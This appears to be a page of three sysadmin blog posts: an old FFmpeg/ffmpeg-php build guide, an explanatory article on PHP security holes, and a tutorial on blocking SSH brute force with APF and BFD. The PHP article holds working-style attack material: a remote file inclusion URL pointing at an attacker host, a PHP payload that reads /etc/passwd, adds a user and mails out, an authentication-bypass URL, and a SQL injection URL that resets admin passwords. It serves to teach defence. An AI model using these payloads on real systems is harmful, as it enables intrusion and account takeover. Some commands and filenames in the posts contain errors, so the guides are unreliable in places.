A lot of people are getting hiring people to install FFMPEG as they think it’s a difficult task, but it’s much easier than you think if you follow these instructions. You should have root access & basic Linux knowledge to the server to follow these instructions.

1. Create a directory to do our work in
mkdir ~/ffmpeg
cd ~/ffmpeg

2. Get all the source files
wget http://www3.mplayerhq.hu/MPlayer/releases/codecs/ essential-20061022.tar.bz2
wget http://rubyforge.org/frs/download.php/9225/ flvtool2_1.0.5_rc6.tgz
wget http://easynews.dl.sourceforge.net/sourceforge/ lame/lame-3.97.tar.gz
wget http://superb-west.dl.sourceforge.net/sourceforge/ ffmpeg-php/ffmpeg-php-0.5.0.tbz2
wget http://downloads.xiph.org/releases/ ogg/libogg-1.1.3.tar.gz
wget http://downloads.xiph.org/releases/ vorbis/libvorbis-1.1.2.tar.gz

3. Extract all the source files
bunzip2 essential-20061022.tar.bz2; tar xvf essential-20061022.tar
tar zxvf flvtool2_1.0.5_rc6.tgz
tar zxvf lame-3.97.tar.gz
bunzip2 ffmpeg-php-0.5.0.tbz2; tar xvf ffmpeg-php-0.5.0.tar
tar zxvf libogg-1.1.3.tar.gz
tar zxvf libvorbis-1.1.2.tar.gz

4. Create the codecs directory & import them
mkdir /usr/local/lib/codecs/
mv essential-20061022/* /usr/local/lib/codecs/
chmod -R 755 /usr/local/lib/codecs/

5. Install SVN/Ruby (Depends on OS, this is for RHEL/CentOS)
yum install subversion
yum install ruby
yum install ncurses-devel

6. Get the latest FFMPEG/MPlayer from the subversion
svn checkout svn://svn.mplayerhq.hu/ffmpeg/trunk ffmpeg
svn checkout svn://svn.mplayerhq.hu/mplayer/trunk mplayer

7. Compile LAME
cd ~/ffmpeg/lame-3.97
./configure
make
make install

8. Compile libOGG
cd ~/ffmpeg/libogg-1.1.3
./configure
make
make install

9. Compile libVorbis
cd ~/ffmpeg/libvorbis-1.1.2
./configure
make
make install

10. Compile flvtool2
cd ~/ffmpeg/flvtool2_1.0.5_rc6
ruby setup.rb config
ruby setup.rb setup
ruby setup.rb install

11. Compile MPlayer
cd ~/ffmpeg/mplayer
./configure
make
make install

12. Compile FFMPEG
cd ~/ffmpeg/ffmpeg
./configure --enable-libmp3lame --enable-libogg --enable-libvorbis --disable-mmx --enable-shared
echo '#define HAVE_LRINTF 1' >> config.h
make
make install

13. Finalize the codec setups
ln -s /usr/local/lib/libavformat.so.50 /usr/lib/libavformat.so.50
ln -s /usr/local/lib/libavcodec.so.51 /usr/lib/libavcodec.so.51
ln -s /usr/local/lib/libavutil.so.49 /usr/lib/libavutil.so.49
ln -s /usr/local/lib/libmp3lame.so.0 /usr/lib/libmp3lame.so.0
ln -s /usr/local/lib/libavformat.so.51 /usr/lib/libavformat.so.51

14. Compile FFMPEG-PHP
cd ~/ffmpeg/ ffmpeg-php-0.5.0
phpize
./configure
make
make install

15. Install FFMPEG-PHP (make sure the php.ini path is correct.)
echo 'extension=/usr/local/lib/php/extensions/ no-debug-non-zts-20020429/ffmpeg.so' >> /usr/local/Zend/etc/php.ini

16. Restart Apache to load FFMPEG-PHP (Depends on OS, this is for RHEL/CentOS)
service httpd restart

17. Verify if it works
php -r 'phpinfo();' | grep ffmpeg

If you get a few lines such as
ffmpeg
ffmpeg support (ffmpeg-php) => enabled
ffmpeg-php version => 0.5.0
ffmpeg.allow_persistent => 0 => 0

Then everything is installed and working. FFMPEG, FFMPEG-PHP, MPlayer, MEncoder, flv2tool, LAME MP3 encoder & libOGG.

The goal of this article is to show common threats and challenges of programming secure PHP applications. The wonderful thing about PHP is that people with little or even no programming experience are able to achieve simple goals very quickly. The problem, on the other hand, is that many programmers are not really conscious about what is going behind the curtains. Security and convenience do not often go hand in hand — but they can.

PHP has some very flexible file handling functions. The include(), require() and fopen() functions accept local path names as well as remote files using URLs. A lot of vulnerabilities I have seen are due to incorrect handling of dynamic file or path names.

On a site I will not mention in this article (because the problem still has not been solved) has one script which includes various HTML files and displays them in the proper layout. Have a look at the following URL:

http://example.com/page.php?i=contact.html

The variable $i obviously contains the file name to be included. When you see a URL like this, a lot of questions should come to your mind:

- Has the programmer considered directory traversals like i=../../../etc/passwd?
- Does he check for the .html extension?
- Does he use fopen() to include the files?
- Has he thought about not allowing remote files?

In this case, every answer was negative. Time to play! Of course, it is now possible to read all the files the httpd user has read access for. But what is even more exciting is the fact that the include() function is used to include the HTML file. Consider this:

http://example.com/page.php?i=http://evilperson.com/badscript.html

Where exec.html contains a couple of lines of code:

<?php
passthru ('cat /etc/passwd');
passthru ('useradd myuser -p password');
passthru ('echo another hacked server! | mail hacker@internet.com');
?>

I am sure you get the idea. A lot of bad things can be done from here.

Per default, PHP writes most of the variables into the global scope. Of course, this is very convenient. On the other hand, you can get lost in large scripts very quickly. Where did that variable come from? If it is not set, where could it come from? All EGPCS (Environment, GET, POST, Cookie, and Server) variables are put into the global scope.

The global associative arrays $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS and $HTTP_SESSION_VARS will be created when the configuration directive track_vars is set. This allows you to look for a variable only in the place you expect it to come from. Note: As of PHP 4.0.3, track_vars is always turned on.

This security hole was reported to the Bugtraq mailing list by Ismael Peinado Palomo on July 25th, 2001. Mambo Site Server 3.0.x, a dynamic portal engine and content management tool based on PHP and MySQL, is vulnerable to a typical global scope exploit. The code has been modified and simplified.

Under the ‘admin/’ directory, index.php checks whether the password matches the one in the database after posting the form:

<?php
if ($row['pass'] == $postedpass) {
session_register("name");
session_register("fullname");
session_register("id");
header("Location: index2.php");
}
?>

When the passwords match, the variables $name, $fullname and $id are registered as session variables. The user then gets redirected to index2.php. Let us see what happens there:

<?php
if (!$PHPSESSID) {
header("Location: index.php");
exit(0);
} else {
session_start();
if (!$name) session_register("name");
if (!$fullname) session_register("fullname");
if (!$id) session_register("id");
}
?>

|If the session ID has not been set, the user will be directed back to the login screen. If there is a session ID, though, the script will resume the session and will put the previously set session variables into the global scope. Nice. Let us see how we can exploit this. Consider the following URL:

http://example.com/admin/index2.php?PHPSESSID=1&name=admin &fullname=brian&id=admin

The GET variables $PHPSESSID, $name, $fullname and $id are created as global variables per default. So when you look at the if-else-structure above, you will notice that the script figures $PHPSESSID is set and that the three variables dedicated to authorize and identify the user can be set to anything you want. The database has not even been queried. A quick fix for this problem — by far not the perfect one — would be to check for $HTTP_SESSION_VARS['id'] or $_SESSION['id'] (PHP => v4.1.0) instead of $id.

Programming in PHP would be boring without a decent SQL database connected to the web server. However, assembling SQL queries with unchecked variables is a dangerous thing to do.

The following bug in PHP-Nuke 5.x has been reported to the Bugtraq mailing on August 3, 2001. It is actually a combination of exploiting global variables and an unchecked SQL query variable.

The PHP-Nuke developers decided to add the “nuke” prefix to all tables in order to avoid conflicts with other scripts. The prefix can be changed when multiple Nuke sites are run using the same database. Per default, $prefix = "nuke"; is defined in the configuration file config.php.

Let us now look at a few lines from the script article.php.

<?php
if (!isset($mainfile)) {
include("mainfile.php");
}
if (!isset($sid) && !isset($tid)) {
exit();
}
?>

And a bit further down: the SQL query.

<?php
mysql_query("UPDATE $prefix"._stories.
" SET counter=counter+1 where sid=$sid");
?>

To change the SQL query, we need to make sure $prefix is not set to its default value so we can set an arbitrary value via GET. The configuration file config.php is included in mainfile.php. As we know from the last chapter, we can set the variables $mainfile, $sid and $tid to any value using GET parameters. By doing so, the script will think mainfile.php has been included and $prefix has been set accordingly. Now, we are in a position to execute any SQL query starting with UPDATE. So the following query will set all admin passwords to ‘1′:

http://phpnukesite.com/article.php?mainfile=1&sid=1&tid=1 &prefix=nuke.authors%20set%20pwd=1%23

The query now looks like this:

UPDATE nuke.nuke_authors set pwd=1#_stories
SET counter=counter+1 where sid=$sid

Of course, anything after # will be considered as a comment and will be ignored.

More to come.

Today, I recieved an email from my server notifying me that someone was actually trying to brute-force into the server so I thought I’d make a tutorial how to protect yourself or your server.

First, you’ll need APF to be installed, I’m not going to go in details on how to setup the firewall, but you’ll simply need it install so that BFD (brute force detector) can block the IP from trying to “brute force”.

Installing APF
cd ~
wget http://www.rfxnetworks.com/downloads/apf-current.tar.gz
tar -xvzf apf-current.tar.gz
rm -f apf-current.tar.gz
cd apf-*
sudo sh install.sh

Installing BFD
cd ~
wget http://www.rfxnetworks.com/downloads/bfd-current.tar.gz
tar -xvzf bfd-current.tar.gz
rm -f bfd-current.tar.gz
cd bfd-*
sudo sh install.sh

Configuring BFD
Use your favorite text editor (I prefer nano) to edit the configuration file, /usr/local/bfd/conf.bfd

Find
ALERT_USR="0"
and replace it with
ALERT_USR="1"

Find
EMAIL_USR="root"
and replace it with
ALERT_USR="your.email@webserver.com"

Save your modifications and exit your editor, start BFD using the line
/usr/local/sbin/bfd -s

Now, whenever BFD will detect a bruteforce, it will email you at the email set above & BFD will run the command /etc/apf/apf -d the.attackers.ip

The emails you will usually recieve look like this:

Jul 29 08:22:40 yourhostname sshd[21642]: Invalid user manfred from the.attackers.ip
Jul 29 08:22:40 yourhostname sshd[21643]: Invalid user michi from the.attackers.ip
Jul 29 08:22:42 yourhostname sshd[21642]: Failed password for invalid user manfred from the.attackers.ip port 48215 ssh2
Jul 29 08:22:42 yourhostname sshd[21643]: Failed password for invalid user michi from the.attackers.ip port 48223 ssh2
Jul 29 08:22:44 yourhostname sshd[21646]: Invalid user michi from the.attackers.ip
Jul 29 08:22:47 yourhostname sshd[21646]: Failed password for invalid user michi from the.attackers.ip port 48322 ssh2
Jul 29 08:22:47 yourhostname sshd[21647]: Failed password for postgres from the.attackers.ip port 48329 ssh2

Oh, and one thing I have done after I recieved the attack, I immeditaly changed the default SSH port. Use your favorite text editor (nano again!) to edit /etc/ssh/sshd_config

Find
#Port 22
And uncomment the line (Remove the #) and replace the 22 by the port you want SSH to use (Max. port number is 49151 so make sure you don’t put anything past that. Afterwards, restart SSH. Usually on CentOS it is service sshd restart and in other operating systems, it is /etc/rc.d/init.d/sshd restart

After getting attacked, I did a WHOIS on the IP (Run whois the.attackers.ip). You’ll usually see one of the emails something like abuse@somedomain.com.

Make sure to send them an email including the logs from the email, your server IP and the attackers IP.

Thanks alot for reading